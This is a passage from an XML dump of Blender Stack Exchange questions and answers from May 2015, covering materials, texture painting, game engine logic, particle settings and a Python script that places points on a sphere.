3.0" />
  <row Id="29250" PostTypeId="1" CreationDate="2015-05-01T22:12:39.997" Score="3" ViewCount="278" Body="&lt;p&gt;I needed to add a rainbow to a scene and found the info below that I used and made an awesome rainbow with just a few tweaks. The problem is that real rainbows usually fade out on the ends, the rainbow I make is from an extruded circle, and when I delete half of the circle the end is sharp and I can't find a way to fade out the ends of the rainbow. Is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Harold&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BA thread &lt;a href=&quot;http://www.blenderartists.org/forum/showthread.php?294698-How-to-improve-this-rainbow&quot; rel=&quot;nofollow noreferrer&quot;&gt;How-to-improve-this-rainbow&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/210/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=210&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14116" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-05-02T02:25:13.997" Title="How to make rainbow ends fade out" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="29251" PostTypeId="1" CreationDate="2015-05-01T22:52:48.817" Score="6" ViewCount="303" Body="&lt;p&gt;I've heard this trick at the conference, but I can't remember it nor find the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 300 instances of the same linked group in a scene and I want to use a low poly version for the camera work. Then I want to switch to highpoly for the rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could do it with layers, but I want to switch between the groups. This is possible by changing one name somewhere. Does anybody else remember?&lt;/p&gt;&#xA;" OwnerUserId="1077" LastActivityDate="2016-07-14T09:54:51.843" Title="How do I switch low with highpoly models?" Tags="&lt;groups&gt;&lt;instances&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29252" PostTypeId="2" ParentId="29221" CreationDate="2015-05-02T01:06:40.740" Score="6" Body="&lt;p&gt;It works the same way for cycles. Also if you have an animated texture (image sequence or procedural) the animation will effect the length as well.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the &lt;em&gt;Textures&lt;/em&gt; section of the &lt;em&gt;Particle&lt;/em&gt; settings for your Particle system, add a new texture.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gE7kv.png&quot; alt=&quot;new texture for particle system&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now in the &lt;em&gt;Texture&lt;/em&gt; tab, change the Influence to &lt;em&gt;Length&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QLIKC.png&quot; alt=&quot;texture setting for particle system&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This animation was made by animating the &lt;em&gt;Size&lt;/em&gt; on the &lt;em&gt;Distorted Noise&lt;/em&gt; texture that is controlling the length of the particles.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sh4eo.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-05-02T01:42:15.587" LastActivityDate="2015-05-02T01:42:15.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29253" PostTypeId="1" AcceptedAnswerId="29255" CreationDate="2015-05-02T01:55:35.840" Score="2" ViewCount="778" Body="&lt;p&gt;I have seen examples of HUD's showing a dynamic count of either ammunition or objects. I have the general idea of what I want, but I need to know how to update a text object dynamically in the game engine. My use case would be like so: &lt;code&gt;on [collide with collectible] update[stockpile = stockpile + 1]&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to add one to a value (dynamically displayed in a text element) every time the player collides with a certain type of mesh.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-05-02T02:36:59.627" Title="How can I update a text object dynamically in the Blender Game Engine?" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29254" PostTypeId="2" ParentId="29250" CreationDate="2015-05-02T02:25:13.997" Score="4" Body="&lt;p&gt;One way to fix this is by placing the UVmap inside the texture space bounds :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZtWKZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then you can use the UV output directly in the ColorRamp input:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GvrAj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here is the render :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l7Ql6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-02T02:25:13.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29255" PostTypeId="2" ParentId="29253" CreationDate="2015-05-02T02:36:59.627" Score="4" Body="&lt;p&gt;you can do this using logic bricks, the following are added to the text object :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iPQxW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the Text object has a special property called text, i have added an integer property which is incremented by space key then it gets copied to the text property at each logic tick&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the test play :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8oUq6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-02T02:36:59.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29256" PostTypeId="1" AcceptedAnswerId="29257" CreationDate="2015-05-02T03:03:40.767" Score="3" ViewCount="5745" Body="&lt;p&gt;In texture paint mode how do I fill a single colour (solid or transparent) on existing paints? &#xA;I currently paint with large brush filling complete area. Is there any faster method?&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="599" LastEditDate="2015-05-02T03:07:53.837" LastActivityDate="2017-08-26T04:36:56.150" Title="How to flood fill a color in texture paint?" Tags="&lt;workflow&gt;&lt;texture-painting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29257" PostTypeId="2" ParentId="29256" CreationDate="2015-05-02T03:06:49.760" Score="5" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.72/Painting#Fill_Tool&quot; rel=&quot;noreferrer&quot;&gt;recently added &lt;em&gt;Fill&lt;/em&gt; brush&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GiJQo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-05-02T03:06:49.760" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29258" PostTypeId="1" AcceptedAnswerId="30303" CreationDate="2015-05-02T03:51:11.203" Score="-3" ViewCount="493" Body="&lt;p&gt;I have 3 props: prop1, prop2, and prop3. I want a python scrip to work where it will determine if prop1 is is greater than or equal to prop 2. Also, I want it to determine if it is less than. If it is greater than or equal to, prop 3 will be true (boolean). Else, it will be false. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def property(cont):    &#xA;own = cont.owner&#xA;&#xA;if 'Ammo_Reserve' in own and 'Ammo_Fired' in own:&#xA;&#xA;    reserve = own['Ammo_Reserve']&#xA;    fired = own['Ammo_Fired']&#xA;    sit1 = own['Situation1']   &#xA;&#xA;else:&#xA;    print('No properties found in object')&#xA;    return&#xA;&#xA;if reserve &amp;lt; fired:&#xA;    print('Ammo_Reserve is less than Ammo_Fired')&#xA;    sit1 = True&#xA;&#xA;else:&#xA;    print('Ammo_Reserve error (less than)')&#xA;&#xA;if reserve &amp;gt;= fired:&#xA;    print('Ammo_Reserve is greater than or equal to Ammo_Fired')&#xA;    sit1 = False&#xA;&#xA;else:&#xA;    print('Ammo_Reserve error (greater than or equal to)')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why does this not work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ignore the extra logic.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RsVCp.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/V7WSW.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2015-05-04T23:38:21.397" LastActivityDate="2016-03-21T13:34:04.547" Title="Greater than in python?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="29259" PostTypeId="1" AcceptedAnswerId="29262" CreationDate="2015-05-02T04:19:32.780" Score="16" ViewCount="61995" Body="&lt;p&gt;Is there colour picker in texture paint mode? similar to photoshop or gimp&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2016-06-20T19:57:15.320" Title="Is there colour picker in texture paint mode?" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29261" PostTypeId="2" ParentId="29256" CreationDate="2015-05-02T05:01:41.620" Score="3" Body="&lt;p&gt;Another way (if acceptable) is to use &lt;strong&gt;Anchored&lt;/strong&gt; stroke method. Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X2bsa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-05-02T05:01:41.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29262" PostTypeId="2" ParentId="29259" CreationDate="2015-05-02T05:30:21.030" Score="25" Body="&lt;p&gt;You can find the color picker by clicking on left or right Brush Color rectangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uljbg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A faster way will be using &lt;kbd&gt;S&lt;/kbd&gt; keyboard shortcut to sample color under the cursor location in 3D window or UV/Image Editor.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-05-02T05:50:47.660" LastActivityDate="2015-05-02T05:50:47.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29263" PostTypeId="1" AcceptedAnswerId="30359" CreationDate="2015-05-02T06:16:49.583" Score="3" ViewCount="152" Body="&lt;p&gt;I have applied 2 maps to same material, they use same UV. In texture paint mode 3D view with solid display. I can only see 1st texture map (topmost in the stack) and paint on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oTZzb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on the contrary in texture paint mode with Texture display mode. I can only see the last image in the stack (in this case Helper overall). But when i paint in 3D view it starts painting on top most image in the textures stack (in this case checkers)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lQVup.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do a paint on 2nd texture (in this case Helper overall) in 3D view? I am able to paint by temporarily by moving the texture slot up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NTE27.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in texture display mode of texture paint i had to disable 2nd texture to see the first texture&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0R4vV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is happening ? Is there a right way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2015-05-04T11:40:47.620" Title="With 2 maps on same material i am not able to see and paint on 2nd map in texture mode" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29264" PostTypeId="1" CreationDate="2015-05-02T06:48:10.357" Score="2" ViewCount="39" Body="&lt;p&gt;I'm a novice to blender and 3d modelling software in general. I'm making a game involving custom character parts and I have constraints needed on the length along the x axis. For example the width of a torso part so shoulders and arms can fit properly. I'm wondering if you are able to define constraints within blender on the mesh or place some kind of markers on a axis&lt;/p&gt;&#xA;" OwnerUserId="14117" LastEditorUserId="47" LastEditDate="2015-05-02T08:29:31.267" LastActivityDate="2015-05-02T08:29:31.267" Title="can you place markers on an axis or define constraints on the size of a mesh" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29265" PostTypeId="2" ParentId="29248" CreationDate="2015-05-02T07:30:05.477" Score="12" Body="&lt;p&gt;You are looking for a spherical array, but maybe you would settle for a set of points which are spread out evenly over the surface of a sphere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are comfortable with the Math, you can easily script a vertex based object which can act as a 'donor of vectors/3d points' to place instances of smaller spheres (Neutrons, Protons). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;import math&#xA;&#xA;def fibonacci_sphere(samples, rseed):&#xA;    # http://stackoverflow.com/a/26127012/1243487&#xA;    rnd = 1.&#xA;    random.seed(rseed)&#xA;    rnd = random.random() * samples&#xA;&#xA;    points = []&#xA;    offset = 2./samples&#xA;    increment = math.pi * (3. - math.sqrt(5.));&#xA;&#xA;    for i in range(samples):&#xA;        y = ((i * offset) - 1) + (offset / 2);&#xA;        r = math.sqrt(1 - pow(y,2))&#xA;&#xA;        phi = ((i + rnd) % samples) * increment&#xA;&#xA;        x = math.cos(phi) * r&#xA;        z = math.sin(phi) * r&#xA;&#xA;        points.append([x,y,z])&#xA;&#xA;    return points&#xA;&#xA;verts = fibonacci_sphere(120, rseed=20)&#xA;&#xA;mesh = bpy.data.meshes.new(&quot;mesh_name&quot;)&#xA;mesh.from_pydata(vertices=verts, edges=[], faces=[])&#xA;mesh.update()&#xA;&#xA;obj = bpy.data.objects.new(&quot;obj_name&quot;, mesh)&#xA;&#xA;scene = bpy.context.scene&#xA;scene.objects.link(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This bit of code when Run from the Text Editor, will produce a sphere of points based on fibonacci. This might give you the approximation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JPCsJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Mapping the spheres onto the points.&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The script creates a points mesh named &quot;obj_name&quot; and adds it to the scene, in the object properties set &lt;em&gt;duplication&lt;/em&gt; type to Verts, &lt;/li&gt;&#xA;&lt;li&gt;Create the Neutron/Proton representative sphere on the same origin as the points mesh, (I like to use a Object-&gt;Surface-&gt;NURBS Sphere)&lt;/li&gt;&#xA;&lt;li&gt;Set the Parent of the sphere to the points mesh.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This way you get a kind of Donor / Recipient relationship between the points mesh and the Neutron/Proton spheres.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you render, the original NURBS sphere at the origin won't be visible, in contrast to when you are viewing in the 3d viewport, you'll see it all the time. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Sverchok&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://github.com/nortikin/sverchok&quot; rel=&quot;noreferrer&quot;&gt;Sverchok addon&lt;/a&gt; can be be used for this kind of visualization: &lt;a href=&quot;https://blender.stackexchange.com/a/28792/47&quot;&gt;https://blender.stackexchange.com/a/28792/47&lt;/a&gt; . It's a Free and open source modular, node based geometry system built on Blender's custom Python Nodes API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same script as above exists inside Sverchok as a scripted node, meaning you can adjust a slider to increase or decrease the number of points (samples), and set a different Seed value (random starting point) without having to delete the object and run the script again. Then you connect other nodes to operate on the scale of the vectors it produces, then you can pick vectors by some logic gate and separate them into 2 different meshes, then assign the different spheres to represent Neutrons and Protons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the space of 2 minutes I made this: (full disclosure I'm a contributor to Sverchok.. but with practice anyone can blaze through it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G8CG4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sphere of points is indexed, and i'm splitting them up by by the boolean result of &lt;code&gt;index % 2&lt;/code&gt;. if that's 1 it goes into one mesh, else it goes into the other. The image above is just drawing openGL, there's no scene mesh yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have nodes that do output meshes to the scene, called Bmesh Nodes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YJfe9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rather than every second vector, you can generate a random number for each vector and if it's larger than some value (between 0.0, 1.0), it goes into one mesh, else the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S4rde.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the blend for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/211/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=211&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a small modification you can even push the vectors away from the origin in a pulsating way.. drag the seed value or animate it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/212/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=212&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rTCxx.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I imagine it behaves very differently, &lt;a href=&quot;https://i.stack.imgur.com/XzhMH.gif&quot; rel=&quot;noreferrer&quot;&gt;twisting and contorting..&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-05-02T09:12:35.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29266" PostTypeId="1" CreationDate="2015-05-02T07:39:09.337" Score="16" ViewCount="463" Body="&lt;p&gt;Basically the character is posed and rendered with various props. At random, suddenly, the lines are &quot;sticking&quot; among multiple frames despite the fact that the object has been moved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the cause of this, and how can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only started happening recently - I had done many renders with this file / model and suddenly this has started. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The magnifying glass frame is two or three frames down from the hammer one. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/8jUjf.jpg&quot; alt=&quot;Freestyle lines showing on wrong frames&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5631" LastEditorUserId="2217" LastEditDate="2015-05-05T23:05:55.597" LastActivityDate="2017-06-08T05:28:42.430" Title="Freestyle Lines on Wrong Frames" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;freestyle&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="2" ClosedDate="2017-06-10T19:29:52.347" ContentLicense="CC BY-SA 3.0" />
  <row Id="29267" PostTypeId="1" CreationDate="2015-05-02T07:42:43.007" Score="3" ViewCount="1094" Body="&lt;p&gt;There are websites full of procedural textures and shaders which you can download, but using Append to bring in the files does not bring in a working material. Even though all the files appear in the materials and texture lists, all I get is a flat colour in the material preview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words the setup with the nodes, which forms the procedural texture does not come in with the texture or materials files via Append or link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone does know how to import an entire material and not just it's component  I would be eternally grateful!&lt;/p&gt;&#xA;" OwnerUserId="14110" LastActivityDate="2015-05-02T07:42:43.007" Title="How to import procedural texture with nodes?" Tags="&lt;materials&gt;&lt;import&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29268" PostTypeId="1" CreationDate="2015-05-02T07:43:44.193" Score="2" ViewCount="799" Body="&lt;p&gt;I have baked my high poly to my low poly , But the end result gives a very weak bump &lt;img src=&quot;https://i.stack.imgur.com/HJM1K.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;This image is the low poly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ce2ZX.png&quot; alt=&quot;&quot;&gt;&#xA;this image is high poly&#xA;is there anyway to get strong bump maps?&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2015-05-13T05:55:38.793" Title="Weak normal map bake?" Tags="&lt;normals&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29269" PostTypeId="2" ParentId="29248" CreationDate="2015-05-02T07:45:10.873" Score="2" Body="&lt;p&gt;A very simple approach (admittedly less powerful than zeffii's). You can apply &lt;strong&gt;three&lt;/strong&gt; array modifiers to an object, e.g. a sphere, and then play around with offset until you have a nice 3D grid of spheres. Then you can apply the modifiers and start removing spheres until you have a somewhat nucleus-like object. Its fairly straight forward, my steps were:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;Create 3D grid with array modifiers&lt;/em&gt;. I found that these settings with a default sphere gave a nice grid. When you are happy with how the spheres tessellate you &lt;strong&gt;apply the modifiers&lt;/strong&gt; (the order of application is important, start from the top).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zUwwk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2NBgG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Center the object origin.&lt;/em&gt; Go into edit mode (&lt;kbd&gt;tab&lt;/kbd&gt;), and select all vertices (&lt;kbd&gt;A&lt;/kbd&gt;). Center the curser in the geometry (&lt;kbd&gt;S&lt;/kbd&gt; -&gt; &lt;kbd&gt;U&lt;/kbd&gt;), go back into object mode (&lt;kbd&gt;tab&lt;/kbd&gt;), and set the geometry center at the 3D curser (&lt;kbd&gt;shift&lt;/kbd&gt; + &lt;kbd&gt;ctrl&lt;/kbd&gt; + &lt;kbd&gt;alt&lt;/kbd&gt; -&gt; &lt;kbd&gt;T&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Create the nucleus border&lt;/em&gt;. Create a new sphere (&lt;kbd&gt;shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; -&gt; &lt;kbd&gt;M&lt;/kbd&gt; -&gt; &lt;kbd&gt;U&lt;/kbd&gt;) at the center of the 3D grid. Scale the sphere up until its sides become visible just outside of the 3D grid.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Remove spheres in the grid, outside of the nucleus border&lt;/em&gt;. Select the grid and go into edit mode. Start deleting spheres that are not contained by your new sphere object. A nice hotkey to use here is &lt;kbd&gt;ctrl&lt;/kbd&gt; + &lt;kbd&gt;L&lt;/kbd&gt;, which selects all connected vertices of any selected vertices, such that you can easily select a connected component. Your end result should look something like this, on the left without the nucleus border removed, and on the right, your final result.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TVOAZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to play around with which protons/neutrons you wan't to keep in your nucleus, in order to make it appear realistic (if we are allowed to use this term). For very large nuclei this can look great, but depending on your computer's processing power, you might end up having trouble manipulating the geometry in edit mode because of the enormous number of vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SO If you're looking for something simple go for this method, otherwise I suggest you spend a moment longer and try to implement zeffii's.&lt;/p&gt;&#xA;" OwnerUserId="13958" LastEditorUserId="13958" LastEditDate="2015-05-02T07:53:03.307" LastActivityDate="2015-05-02T07:53:03.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29270" PostTypeId="1" CreationDate="2015-05-02T07:58:49.857" Score="4" ViewCount="3814" Body="&lt;p&gt;I made a simple stickman with joints. Works fine. Saved it as stickman.blend. I grouped CTRL+G the stickman+armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a new scene.blend file. I linked the group from the stickman with ctrl+alt+O into the scene. It is visible with all joints. So far so good. But I can not get it into Posemode. I think this is because it is &quot;hard&quot; linked to the stickman.blend. So I need a tip, how I can animate this in a new scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to simply append it to the scene, because when I make changes to the stickman they should also appear in my scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for such a low level question. But after google/youtube I was out of an idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for your help in advance&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="3078" LastEditDate="2015-05-02T20:51:29.870" LastActivityDate="2020-10-20T14:01:09.253" Title="How to enable animation of linked rigged object" Tags="&lt;animation&gt;&lt;armature&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29271" PostTypeId="2" ParentId="18105" CreationDate="2015-05-02T11:14:15.423" Score="1" Body="&lt;p&gt;To get the parent of any node:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;node.parent&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the node, you can get it from the context &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.context.html#bpy.context.active_node&quot; rel=&quot;nofollow&quot;&gt;active_node&lt;/a&gt;, if you can access the Nodes context, or, from the global context, get the scene and then the node from the correct node tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function get_from_context you mention is a part of the NodeTree class. You would have to show your code for me to know what is the problem.&lt;/p&gt;&#xA;" OwnerUserId="844" LastActivityDate="2015-05-02T11:14:15.423" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29272" PostTypeId="1" CreationDate="2015-05-02T11:38:14.963" Score="2" ViewCount="453" Body="&lt;p&gt;I want to use a texture as an emission map for a smoke simulation to use as a (hopefully) 3D animatable cloud map (using the other force effectors to move the cloud bands). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, it is possible to use &lt;em&gt;a&lt;/em&gt; texture in either but &lt;em&gt;not the node texture&lt;/em&gt;, at least that I am aware. Is there a work around to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lpkmq.jpg&quot; alt=&quot;Texture shows up in the texture tab&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nc3OT.png&quot; alt=&quot;texture does not show up in *Smoke Flow Advanced*&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14085" LastEditorUserId="14085" LastEditDate="2015-05-02T11:45:32.603" LastActivityDate="2015-05-02T11:45:32.603" Title="Texture as emission map? (Cycles, Smoke)" Tags="&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
